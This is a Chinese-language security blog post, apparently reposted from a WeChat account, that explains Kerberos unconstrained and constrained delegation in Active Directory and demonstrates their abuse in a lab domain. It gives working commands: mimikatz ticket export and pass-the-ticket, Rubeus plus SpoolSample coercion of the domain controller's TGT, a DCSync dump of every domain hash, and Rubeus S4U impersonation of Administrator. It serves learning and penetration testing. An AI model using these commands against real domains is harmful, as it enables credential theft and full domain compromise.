非约束委派&&约束委派

admin 2022年11月24日10:25:40评论46 views字数 5041阅读16分48秒阅读模式

委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,在域中只有机器帐户何服务帐户拥有委派属性,也就是说只有这两类帐户可以配置域委派,分为三种:

  1. 非约束委派
  2. 约束委派
  3. 基于资源的约束性委派

非约束委派

用户A去访问服务B,服务B的服务帐户开启了非约束委派,那么用户A访问服务B的时候会将A的TGT转发给服务B并保存进内存(LSASS缓存了TGT),服务B能够利用用户A的身份去访问用户A能够访问的任意服务.配置了非约束委派的帐户userAccountControl属性会设置TRUSTED_FOR_DELEGATION标志位.

非约束委派&&约束委派

具体过程直接粘贴别的师傅的(参考连接1)

(1)域用户的机器向密钥分发中心(KDC)发送 KRB_AS_REQ 消息,并请求可转发的 TGT 1。
(2)KDC 在 KRB_AS_REP 消息中返回一个可转发的 TGT 1,该 TGT 1 用于后续访问服务1(Service 1)使用。
(3)用户根据步骤(2)中的可转发 TGT 1 请求转发 TGT 2,该过程通过 KRB_TGS_REQ 消息完成。
(4)KDC 在 KRB_TGS_REP 消息中为用户返回一个转发的 TGT 2,该 TGT 2 用于后续访问服务2(Service 2)使用。
(5)用户使用步骤(2)中返回的 TGT 1 向 KDC 请求 Service 1 的服务票据,该过程通过 KRB_TGS_REQ 消息完成。
(6)TGS 票据授予服务在 KRB_TGS_REP 消息中为用户返回 Service 1 的服务票据(ST 1)。
(7)用户通过发送 KRB_AP_REQ 消息向 Service 1 发出访问请求,同时提供 ST 1、可转发的 TGT 1、TGT 2 以及 TGT 2 的会话密钥(Session Key)。
(8)为了满足用户的请求,Service 1 需要代表用户执行一些操作。Service 1 使用转发的 TGT 2 并将其通过 KRB_TGS_REQ 消息发送到 KDC,以用户的名义请求 Service 2 的 ST 2。
(9)KDC 在 KRB_TGS_REP 消息中将 Service 2 的 ST 2 连同 Service 1 可以使用的 Session Key 一起返回给 Service 1。需要注意的是,这里返回的 ST 2 将客户端标识为用户,而不是 Service 1。
(10)Service 1 以用户的身份通过 KRB_AP_REQ 消息向 Service 2 发出访问请求。
(11)Service 2 响应 Service 1 的访问请求。
(12)在得到 Service 2 的响应后,Service 1 现在可以响应用户在步骤(7)中发出的访问请求了。
(13)此处描述的 TGT 转发委派机制不限制 Service 1 使用转发的 TGT。Service 1 可以以用户的名义向 KDC 索要任何其他服务的票据。
(14)KDC 将返回请求的服务票据。
(15)然后,Service 1 可以继续使用用户的身份访问其他服务。
(16)Service N 将响应 Service 1,就好像它是用户的进程一样。

测试环境 域:ccc1.test DC名:DC DC IP:10.10.10.1

域成员名:WIN7-PC 域成员IP:10.10.10.3

域管:administrator 域普通用户:test


设置非约束委派

在DC上Active Directory用户和计算机中设置机器账户WIN7-PC位非约束委派(也可以设置服务账户)

非约束委派&&约束委派

当服务账户和机器账户设置了非约束委派时,userAccountControl属性会包含TRUSTED_FOR_DELEGATION

非约束委派&&约束委派

非约束委派&&约束委派

可通过AdFind.exe来查询

# 查询域中配置非约束委派的机器账户
AdFind.exe -b "dc=ccc1,dc=test" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn# 查询域中配置非约束委派的服务账户
AdFind.exe -b "dc=ccc1,dc=test" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

非约束委派&&约束委派

通过查询可以发现DC和刚刚设置的WIN7-PC是配置了非约束性委派的

PowerView查询

#查询非约束委派的机器账户
Get-NetComputer -Unconstrained -Domain ccc1.test
#查询非约束委派的服务账户
Get-NetUser -Unconstrained -Domain ccc1.test

非约束委派利用

普通域用户是无法访问域控的

非约束委派&&约束委派

当域管通过WinRM等方式连接到WIN7-PC机器时,WIN7-PC机器的内存中会保留域管的TGT,此TGT可通过mimikatz导出 通过本地管理员运行mimikatz导出票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

非约束委派&&约束委派

通过域用户导入该票据

mimikatz.exe "kerberos::ptt [0;46d958][email protected]"

非约束委派&&约束委派

再次访问dc的cifs服务发现是可以的

非约束委派&&约束委派

可直接连接到DC

非约束委派&&约束委派

非约束委派+Spooler

非约束委派利用的前提是必须通过域管来远程连接,在实战中通过域管来连接的情况是几乎不存在的,比较鸡肋,因此可以通过Spooler打印服务来强制指定的主机进行连接,来达到我们想要的效果。

MS-RPRN(Print System Remote Protocol,打印系统远程协议)中RpcRemoteFindFirstPrinterChangeNotification(Ex)方法可以强制任何运行了spooler服务的计算机通过kerberos或者NTKLM对攻击者的目标机器进行身份验证.

splooer服务是默认运行的

非约束委派&&约束委派

通过win7的本地管理员权限运行rubeus.exe进行监听

Rubeus.exe monitor /interval:5 /filteruser:DC$

# /interval:5 设置监听间隔5秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT

然后通过spoolsample.exe强制dc向win7机器进行身份验证,rubeus就会监听到base64编码后的TGT

SpoolSample.exe DC WIN7-PC

非约束委派&&约束委派

image.png

通过rubeus导入票据

rubeus.exe ptt /ticket:<ticket>

非约束委派&&约束委派

image.png

通过mimikatz可导出域中所有用户的hash

mimikatz.exe "lsadump::dcsync /domain:ccc1.test /all /csv" exit

非约束委派&&约束委派

已经得到域内所有用户的hash,包括域管的,拿到域管hash后可通过wmi,psexec等直接登录到DC,或者做金票

约束委派

由于非约束委派的不安全性,微软在windows server 2003以后引入了约束委派,引入了S4U(s4u2self,s4u2proxy),运行服务代表用户向KDC请求票据

  • s4u2self(service for user to self)允许服务代表自身请求针对其自身的kerberos服务票据(ST)
  • s4u2proxy(service for user to proxy)可以以用户的名义请求其他服务的ST

约束委派的目的是在模拟用户的同时并先知委派机器/用户对特定服务的访问

非约束委派&&约束委派

(引用链接1)

(1)域用户的机器向 Service 1 发出请求。用户通过了身份验证,但 Service 1 中没有用户的所需要的授权数据。该过程通常是由 Kerberos 认证以外的其他认证方式执行的。
(2)假设 Service 1 已通过 KDC 进行身份验证并获得其 TGT,此时其可以通过 S4U2self 扩展代表指定用户向 KDC 请求针对自身服务的票据。
(3)KDC 会返回一个发往 Service 1 的服务票据 ST 1,就好像它是使用用户自己的 TGT 请求的一样。服务票据可能包含用户的授权数据。
(4)Service 1 可以使用服务票据中的授权数据来响应并满足用户在步骤(1)中的请求。值得注意的是,尽管 S4U2self 向 Service 1 提供有关用户的信息,但此扩展不允许 Service 1 代表用户提出针对其他服务的请求。这就轮到后面 S4U2proxy 扩展发挥作用了,S4U2proxy 在上图所示的下半部分进行了描述。
(5)域用户的机器向 Service 1 发出请求。Service 1 需要以用户身份访问 Service 2 上的资源。但是,Service 1 没有来自用户的可转发 TGT ,因此不能通过非约束委派中转发 TGT 的方式执行委派。
(6)此时,Service 1 通过 S4U2proxy 扩展代表指定用户向 KDC 请求 Service 2 的服务票据。该过程中,用户由 Service 1 的服务票据 ST 1 中的客户端名称和客户领域标识,要返回的票据的授权数据也从服务票证 ST 1 中复制。
(7)如果请求中包含特权属性证书 (PAC),则 KDC 会通过检查 PAC 结构的签名数据来验证 PAC。如果 PAC 有效或不存在,KDC 会向 Service 1 返回 Service 2 的服务票据 ST 2,但存储在服务票据的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 Service 1 的身份。
(8)Service 1 使用 ST 2 向 Service 2 发出请求。Service 2 将此请求视为来自用户,并假定用户此时已通过 KDC 身份验证。
(9)Service 2 响应 Service 1 在步骤(8)中的请求。
(10)Service 1 响应用户在步骤(5)中的请求。

设置约束委派

设置域机器WIN7-PC约束委派,设置对DC的CIFS服务进行委派

非约束委派&&约束委派

设置委派的机器用户或者服务用户的userAccountControl属性会设置TRUSTED_TO_AUTH_FOR_DELEGATIONmsDS-AllowedToDelegateTo属性会设置成委派的服务(如cifs)

非约束委派&&约束委派

非约束委派&&约束委派

通过Adfind.exe查询域中配置约束委派的账户

# 查询域中配置约束委派的机器账户
AdFind.exe -b "dc=ccc1,dc=test" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# 查询域中配置约束委派的服务账户
AdFind.exe -b "dc=ccc1,dc=test" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

非约束委派&&约束委派

PowerView查询

# 查询约束委派机器账户
Get-DomainComputer -TrustedToAuth -Domain ccc1.test
# 查询约束委派服务账户
Get-DomainUser -TrustedToAuth -Domain ccc1.test

约束委派利用

约束委派利用的前提是需要知道委派用户的明文密码或者hash 通过rebeus.exe来申请WIN7-PC机器用户的TGT

rubeus.exe asktgt /user:WIN7-PC$ /rc4:9ae90aab9fb85d3cd6c6dc3b291d865a /domain:ccc1.test /dc:dc.ccc1.test /nowrap

非约束委派&&约束委派

使用s4uself扩展来请求DC的cifs的票据并将票据导入到内存中

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/dc.ccc1.test /dc:dc.ccc1.test /ptt /ticket:<ticket>

非约束委派&&约束委派

image.png

可直接访问dc的cifs服务

非约束委派&&约束委派

参考

https://whoamianony.top/domain-delegation-attack/ https://www.cnblogs.com/Yang34/p/14264356.html






     ▼
更多精彩推荐,请关注我们


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!


非约束委派&&约束委派



原文始发于微信公众号(鸿鹄实验室):非约束委派&&约束委派

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月24日10:25:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   非约束委派&&约束委派https://cn-sec.com/archives/1425222.html

发表评论

匿名网友 填写信息